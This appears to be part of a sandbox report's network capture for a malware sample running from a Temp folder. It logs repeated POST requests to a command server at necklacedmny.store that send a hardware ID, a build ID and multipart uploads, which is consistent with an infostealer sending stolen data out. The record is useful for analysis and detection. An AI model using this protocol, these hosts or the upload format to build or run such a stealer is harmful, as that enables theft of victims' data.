Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 20:56:19 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 20:56:20 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=21nn8ouq5d6jsav18a3f0nn4qp; expires=Sun, 23-Feb-2025 14:42:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m98PpE%2BLATrhfxYWS4UEXY8WT4UXfXfYp6TBJAwl92IXOcTvXOJZdTbQ9MfFiE0K5U6J9fF4BU5BloUrIL9y8hzvYmyvRwKg3ZnEP%2B1losU9dqwXOjj4TaZWeSjv3xRfi3efnMU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fb4b90d2cba-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2121&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1373162&cwnd=32&unsent_bytes=0&cid=25647f9424cebd93&ts=472&x=0"
2024-10-30 20:56:20 UTC	359	IN	Data Raw: 63 62 37 0d 0a 78 6a 5a 6c 35 54 77 41 68 42 47 43 32 63 64 4c 6d 68 62 79 52 74 69 78 66 52 43 4d 63 50 38 7a 70 79 58 35 79 70 62 6c 44 61 32 39 46 42 50 48 42 6a 53 6f 4d 2f 47 38 35 58 48 75 5a 49 63 6a 39 4a 4d 63 64 4b 35 4b 6d 56 4c 4c 56 70 7a 6d 74 4a 4e 67 6a 2f 78 51 42 49 6c 50 5a 61 67 7a 35 36 48 6c 63 63 46 74 30 43 4f 32 6b 30 63 79 36 52 71 64 55 73 74 48 6d 4b 48 35 6c 57 48 4f 72 6c 6f 43 6a 56 6c 6a 34 48 44 75 74 4b 49 75 2f 33 65 59 4b 4c 48 63 46 58 32 75 58 4e 31 57 33 51 66 44 36 4e 75 41 65 63 79 4c 56 78 61 4f 48 6e 32 6f 61 71 43 38 71 57 6d 67 4e 4a 4d 6a 75 74 30 62 64 4f 63 59 6c 31 76 44 52 70 32 67 35 6f 78 72 78 61 35 55 41 59 78 54 61 76 52 39 35 4c 4f 70 4b 50 56 33 30 47 72 36 31 41 63 79 74 6c 4c 4f 59 38 5a 57 69 72 Data Ascii: cb7xjZl5TwAhBGC2cdLmhbyRtixfRCMcP8zpyX5ypblDa29FBPHBjSoM/G85XHuZIcj9JMcdK5KmVLLVpzmtJNgj/xQBIlPZagz56HlccFt0CO2k0cy6RqdUstHmKH5lWHOrloCjVlj4HDutKIu/3eYKLHcFX2uXN1W3QfD6NuAecyLVxaOHn2oaqC8qWmgNJMjut0bdOcYl1vDRp2g5oxrxa5UAYxTavR95LOpKPV30Gr61AcytlLOY8ZWir
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 43 75 4c 4f 70 2f 6d 53 6d 33 30 78 4a 34 34 52 47 64 56 73 39 4e 6c 4b 4c 77 69 6d 4c 4a 70 46 52 48 79 52 35 6c 2f 6a 4f 34 2b 34 59 73 36 48 4f 63 4d 76 6a 70 58 32 32 67 43 39 31 57 79 51 66 44 36 50 79 43 62 4d 79 76 57 77 53 50 56 58 44 6d 59 65 61 32 6f 44 76 2b 63 5a 34 75 75 63 45 56 66 4f 67 52 6c 46 72 4d 51 70 79 73 74 4d 6b 76 79 4c 77 55 58 38 64 2f 62 2b 31 2f 36 71 79 6c 61 65 63 36 69 57 53 39 33 31 38 71 72 68 61 63 56 63 52 44 6c 61 62 77 69 32 6e 42 71 56 73 42 6a 56 35 6c 37 48 76 6f 75 71 67 69 39 33 53 56 4b 62 37 56 45 33 50 72 55 74 4d 52 77 6c 2f 62 38 4c 53 70 61 4d 79 32 46 6a 4b 45 55 47 7a 68 5a 61 43 6b 36 7a 43 34 63 35 78 6b 34 70 4d 52 64 2b 45 41 6e 45 50 41 53 59 6d 6b 38 59 46 69 7a 4b 70 55 41 6f 42 54 62 4f 42 30 34 Data Ascii: CuLOp/mSm30xJ44RGdVs9NlKLwimLJpFRHyR5l/jO4+4Ys6HOcMvjpX22gC91WyQfD6PyCbMyvWwSPVXDmYea2oDv+cZ4uucEVfOgRlFrMQpystMkvyLwUX8d/b+1/6qylaec6iWS9318qrhacVcRDlabwi2nBqVsBjV5l7Hvouqgi93SVKb7VE3PrUtMRwl/b8LSpaMy2FjKEUGzhZaCk6zC4c5xk4pMRd+EAnEPASYmk8YFizKpUAoBTbOB04
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 34 63 35 78 6b 34 70 4d 54 65 2b 34 5a 6c 31 58 46 51 4a 61 74 39 34 42 73 77 71 4e 65 43 59 42 61 62 75 39 2b 35 72 75 69 4c 66 31 6d 6c 53 32 32 33 31 38 38 72 68 57 46 45 5a 30 48 74 4b 2f 69 68 45 44 4d 74 56 31 48 6d 42 42 37 70 6e 54 73 2b 2f 31 70 2f 33 47 59 4c 37 7a 62 48 32 44 72 48 4a 5a 51 7a 30 47 61 70 66 69 42 62 38 36 6b 55 67 75 48 57 57 58 30 59 65 57 39 74 79 4f 34 4f 74 41 6a 6f 70 4e 48 4d 74 67 43 69 6b 44 54 42 61 36 72 2b 6f 6c 6f 32 65 52 4c 53 5a 34 65 5a 65 6f 7a 75 50 75 75 4b 66 52 7a 6d 43 4b 2b 32 78 42 39 35 77 43 63 58 63 74 56 6e 4b 6a 39 69 57 44 44 72 56 6b 41 69 6c 56 6f 36 33 66 6e 75 75 56 6e 75 48 4f 49 5a 4f 4b 54 4b 57 4c 6a 48 72 4e 61 79 55 37 62 74 37 71 65 4c 38 69 6f 46 46 2f 48 57 6d 37 75 65 65 2b 79 72 79 Data Ascii: 4c5xk4pMTe+4Zl1XFQJat94BswqNeCYBabu9+5ruiLf1mlS223188rhWFEZ0HtK/ihEDMtV1HmBB7pnTs+/1p/3GYL7zbH2DrHJZQz0GapfiBb86kUguHWWX0YeW9tyO4OtAjopNHMtgCikDTBa6r+olo2eRLSZ4eZeozuPuuKfRzmCK+2xB95wCcXctVnKj9iWDDrVkAilVo63fnuuVnuHOIZOKTKWLjHrNayU7bt7qeL8ioFF/HWm7uee+yry
2024-10-30 20:56:20 UTC	165	IN	Data Raw: 49 72 57 54 55 54 4c 70 43 74 30 4a 68 57 69 38 6e 62 61 6d 56 59 2b 37 47 68 37 48 57 57 36 6d 4b 36 43 33 70 69 58 77 65 35 59 74 74 74 6b 57 65 65 49 5a 6d 56 33 4d 51 70 32 70 38 59 4a 75 79 36 68 65 41 59 52 64 62 65 6c 38 36 50 76 72 61 66 39 73 30 48 7a 36 39 67 68 35 34 42 54 64 54 6f 74 65 32 36 2f 34 78 7a 65 50 71 46 30 42 67 56 74 75 35 33 58 6f 76 71 30 74 2b 58 4b 57 4a 37 58 58 47 6e 50 68 46 70 46 66 7a 30 61 61 70 50 2b 49 5a 4d 72 6b 47 6b 65 41 52 69 4b 2b 4d 39 47 0d 0a Data Ascii: IrWTUTLpCt0JhWi8nbamVY+7Gh7HWW6mK6C3piXwe5YtttkWeeIZmV3MQp2p8YJuy6heAYRdbel86Pvraf9s0Hz69gh54BTdTote26/4xzePqF0BgVtu53Xovq0t+XKWJ7XXGnPhFpFfz0aapP+IZMrkGkeARiK+M9G
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 33 37 62 35 0d 0a 34 73 7a 37 6f 65 4e 41 37 39 4d 70 66 64 65 4a 53 78 52 48 45 56 5a 47 69 2b 6f 4a 67 79 71 64 62 41 49 70 59 62 75 78 36 36 4c 32 71 49 4f 70 33 6e 43 71 39 33 52 4e 38 34 78 69 65 58 49 55 4a 32 36 2f 73 78 7a 65 50 69 46 4d 4b 71 56 56 75 34 54 50 2f 39 62 78 70 2f 33 6a 51 66 50 72 66 46 58 37 6e 45 70 52 55 7a 55 79 53 72 66 57 4d 61 73 79 69 57 51 69 4f 54 47 6a 6c 66 65 4f 33 71 53 2f 35 64 34 49 73 73 35 4e 52 4d 75 6b 4b 33 51 6d 46 5a 70 57 6c 34 49 42 2f 6a 37 73 61 48 73 64 5a 62 71 59 72 6f 4c 69 6b 4a 76 74 31 6e 53 4b 7a 32 78 39 30 36 78 32 51 58 38 4a 41 6d 36 58 36 69 47 6e 48 71 56 67 4d 69 56 64 6b 35 6e 4c 71 2b 2b 74 70 2f 32 7a 51 66 50 72 6a 48 48 4c 75 43 64 31 4f 69 31 37 62 72 2f 6a 48 4e 34 2b 32 58 67 36 48 Data Ascii: 37b54sz7oeNA79MpfdeJSxRHEVZGi+oJgyqdbAIpYbux66L2qIOp3nCq93RN84xieXIUJ26/sxzePiFMKqVVu4TP/9bxp/3jQfPrfFX7nEpRUzUySrfWMasyiWQiOTGjlfeO3qS/5d4Iss5NRMukK3QmFZpWl4IB/j7saHsdZbqYroLikJvt1nSKz2x906x2QX8JAm6X6iGnHqVgMiVdk5nLq++tp/2zQfPrjHHLuCd1Oi17br/jHN4+2Xg6H
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 75 67 69 71 67 6e 39 6e 4f 47 5a 4b 57 64 42 6a 4c 70 48 74 30 4a 68 55 61 58 70 2f 65 49 62 4d 79 6c 58 68 57 56 55 6d 76 75 64 75 79 77 71 79 2f 71 63 70 38 74 75 64 41 57 64 65 59 65 6c 31 4c 43 42 39 58 6f 38 35 38 76 6c 2b 52 33 45 4a 64 54 49 76 6b 39 2b 66 75 69 4a 62 67 73 30 43 79 33 32 78 56 32 36 52 2b 61 56 38 78 56 6b 71 33 36 68 32 76 45 71 31 49 44 68 46 35 77 34 48 66 6f 75 4b 67 6b 39 6e 65 55 5a 50 53 54 47 47 71 75 53 74 31 6a 79 45 6d 41 70 2f 4f 57 5a 59 2b 37 47 68 37 48 57 57 36 6d 4b 36 43 2f 71 7a 76 7a 64 5a 73 76 74 4e 51 51 64 2b 51 53 6b 6c 58 47 53 5a 43 70 39 34 39 69 77 71 70 65 44 6f 35 5a 62 75 4a 30 6f 50 58 6c 4c 75 41 30 79 47 53 52 38 6a 4a 65 36 51 6a 64 54 6f 74 65 32 36 2f 34 78 7a 65 50 71 46 30 4c 6a 56 56 6c 37 Data Ascii: ugiqgn9nOGZKWdBjLpHt0JhUaXp/eIbMylXhWVUmvuduywqy/qcp8tudAWdeYel1LCB9Xo858vl+R3EJdTIvk9+fuiJbgs0Cy32xV26R+aV8xVkq36h2vEq1IDhF5w4HfouKgk9neUZPSTGGquSt1jyEmAp/OWZY+7Gh7HWW6mK6C/qzvzdZsvtNQQd+QSklXGSZCp949iwqpeDo5ZbuJ0oPXlLuA0yGSR8jJe6QjdTote26/4xzePqF0LjVVl7
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 33 4f 2f 68 39 6c 53 69 35 30 78 74 30 35 78 53 65 56 59 55 4a 32 36 2f 73 78 7a 65 50 69 56 67 41 72 6c 6c 35 70 6d 79 75 6f 75 55 75 39 44 54 49 5a 4c 76 59 46 58 33 6a 45 5a 74 53 7a 6b 4b 52 71 66 4f 50 59 74 32 6e 57 77 69 44 58 6d 33 67 64 65 47 30 6f 79 37 78 64 5a 67 6a 2b 70 31 66 64 66 5a 53 78 52 48 72 51 4a 69 73 74 4a 67 68 31 75 52 54 43 38 63 47 49 75 5a 35 36 72 47 72 4b 66 39 6d 6c 69 32 36 30 41 31 78 36 42 71 62 58 63 6c 4b 6b 36 48 30 67 6d 54 43 72 31 6b 42 68 31 56 6a 70 6a 32 67 76 4c 31 70 6f 44 53 68 4b 62 54 58 45 58 48 2b 46 64 31 4f 69 31 37 62 72 2f 6a 48 4e 34 2b 72 58 52 57 41 57 32 72 76 63 2b 36 79 72 43 37 38 64 35 45 67 74 74 77 57 63 65 59 54 6c 56 37 47 52 35 43 67 2f 6f 5a 68 79 75 51 61 52 34 42 47 49 72 34 7a 7a 37 Data Ascii: 3O/h9lSi50xt05xSeVYUJ26/sxzePiVgArll5pmyuouUu9DTIZLvYFX3jEZtSzkKRqfOPYt2nWwiDXm3gdeG0oy7xdZgj+p1fdfZSxRHrQJistJgh1uRTC8cGIuZ56rGrKf9mli260A1x6BqbXclKk6H0gmTCr1kBh1Vjpj2gvL1poDShKbTXEXH+Fd1Oi17br/jHN4+rXRWAW2rvc+6yrC78d5EgttwWceYTlV7GR5Cg/oZhyuQaR4BGIr4zz7
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 54 64 42 73 2b 75 78 52 4d 76 5a 53 78 52 48 77 52 4a 57 6d 38 35 46 2b 67 6f 4e 4f 43 6f 46 4a 63 36 59 39 6f 4c 33 6c 63 61 67 36 30 43 43 72 6b 30 63 69 76 45 6e 49 41 70 49 58 79 62 65 36 6e 69 2f 5a 35 41 78 56 79 52 35 77 70 69 75 67 2f 4b 59 37 36 6e 4b 54 4d 72 6d 55 49 55 7a 41 46 5a 74 55 77 6c 66 5a 68 76 2b 54 61 49 2f 71 46 41 6a 48 42 6c 75 6d 4f 36 43 45 36 32 6e 67 4e 4d 68 6b 6a 39 41 52 66 4f 6b 45 6a 42 7a 72 51 4a 32 74 38 35 63 74 34 61 39 41 41 4d 63 51 49 75 41 7a 75 4f 76 72 61 66 78 6c 30 48 7a 71 67 55 51 6e 76 55 58 4e 41 39 6f 4a 67 75 6a 69 78 7a 65 64 36 68 51 56 78 77 59 69 6f 58 44 79 71 61 4d 71 37 6e 66 58 47 6f 54 51 43 58 2f 68 47 5a 78 76 2b 32 6d 57 71 66 65 4a 4c 66 36 79 57 52 65 45 57 32 58 59 54 65 36 38 73 53 37 Data Ascii: TdBs+uxRMvZSxRHwRJWm85F+goNOCoFJc6Y9oL3lcag60CCrk0civEnIApIXybe6ni/Z5AxVyR5wpiug/KY76nKTMrmUIUzAFZtUwlfZhv+TaI/qFAjHBlumO6CE62ngNMhkj9ARfOkEjBzrQJ2t85ct4a9AAMcQIuAzuOvrafxl0HzqgUQnvUXNA9oJgujixzed6hQVxwYioXDyqaMq7nfXGoTQCX/hGZxv+2mWqfeJLf6yWReEW2XYTe68sS7
2024-10-30 20:56:20 UTC	1369	IN	Data Raw: 50 53 54 47 54 4b 32 51 4e 4d 52 77 56 62 62 38 4b 54 56 4e 4a 72 33 41 31 66 56 51 53 7a 2f 4d 2f 62 37 2f 58 75 32 4e 49 4a 6b 34 70 4e 59 63 66 77 41 6d 31 4c 54 52 4e 79 57 79 71 42 68 79 4b 56 43 46 34 70 53 51 2b 56 69 36 6f 57 62 50 50 74 36 6e 69 4f 73 77 6c 38 38 72 68 33 64 43 66 77 48 30 2b 6a 4c 79 53 2f 58 35 41 78 48 73 6c 31 73 36 48 54 32 71 75 67 4f 39 6e 4f 52 4d 71 72 65 45 31 50 74 41 35 63 52 69 77 65 64 36 4b 7a 56 49 59 2b 67 52 55 66 66 44 6a 43 39 4a 72 50 73 39 58 76 6e 4f 6f 6c 6b 72 4a 4e 48 49 4b 42 53 6a 78 47 64 42 39 79 72 35 70 56 70 7a 4c 4a 58 51 4c 6c 67 52 2f 46 77 38 4c 32 6d 46 38 5a 66 6e 43 4b 39 79 52 68 30 79 44 4c 64 48 34 56 49 32 2f 44 4e 78 79 65 50 6d 78 70 48 6e 78 34 36 70 6b 62 6a 74 61 73 75 37 6d 58 64 Data Ascii: PSTGTK2QNMRwVbb8KTVNJr3A1fVQSz/M/b7/Xu2NIJk4pNYcfwAm1LTRNyWyqBhyKVCF4pSQ+Vi6oWbPPt6niOswl88rh3dCfwH0+jLyS/X5AxHsl1s6HT2qugO9nORMqreE1PtA5cRiwed6KzVIY+gRUffDjC9JrPs9XvnOolkrJNHIKBSjxGdB9yr5pVpzLJXQLlgR/Fw8L2mF8ZfnCK9yRh0yDLdH4VI2/DNxyePmxpHnx46pkbjtasu7mXd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50235	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-30 20:56:21 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:21 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=57nq1ck34mj3hmjo63cucohtul; expires=Sun, 23-Feb-2025 14:43:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eb67MBot13r5aYZ5d9QqTMFk6L4qnX1U3CNKisLGGuZ34l3Qa0nIq43Q9f7PLI7zRmcTNKPhPbAyoec%2FHlsTL%2FmCTJOp4RVcroEMlj6JW8gU%2FH7Zf5nNzKfn6cwktbGqMQ0INNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fbdacbd3ac4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1415&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2162808&cwnd=250&unsent_bytes=0&cid=574a1c1ac70aaf76&ts=553&x=0"
2024-10-30 20:56:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50236	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-30 20:56:22 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:23 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5grsk6i57vrl9knhcatgj4d6r7; expires=Sun, 23-Feb-2025 14:43:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GcrWVHHwun2yIwt1ZUE1JhlCF1pqDI9chm9LyyqzdAmztg%2BQnRARc19QELJ0je88QvMnKAQ6HPmQDCtUWvP9JRcNsyomGhrr%2Bu7oembXqaUjx9JzTIjiQIhVF4YDMYgd1fba4ak%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fc62e383ac6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1186&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2335483&cwnd=251&unsent_bytes=0&cid=01b83db1c59f754f&ts=564&x=0"
2024-10-30 20:56:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50237	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:24 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-30 20:56:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:24 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-30 20:56:25 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=131qf7k8o539ok5bfsfer03985; expires=Sun, 23-Feb-2025 14:43:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BZpSf07gHWivybFe3NufhHgrLjaqhX1RIl6C77ORZxnitwu8v688lYHm3bdjPyvIbnf1DtHd0MkIN3gOnmxDNfC4Gf66G0hOXtnzhhjQr1MlRTSfqnZj2ds%2BsQGYrYhO6N3k1uU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fcf4adce952-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1326&sent=14&recv=29&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=2219157&cwnd=251&unsent_bytes=0&cid=c2250d3deaa5b88d&ts=1725&x=0"
2024-10-30 20:56:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50238	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:26 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: necklacedmny.store
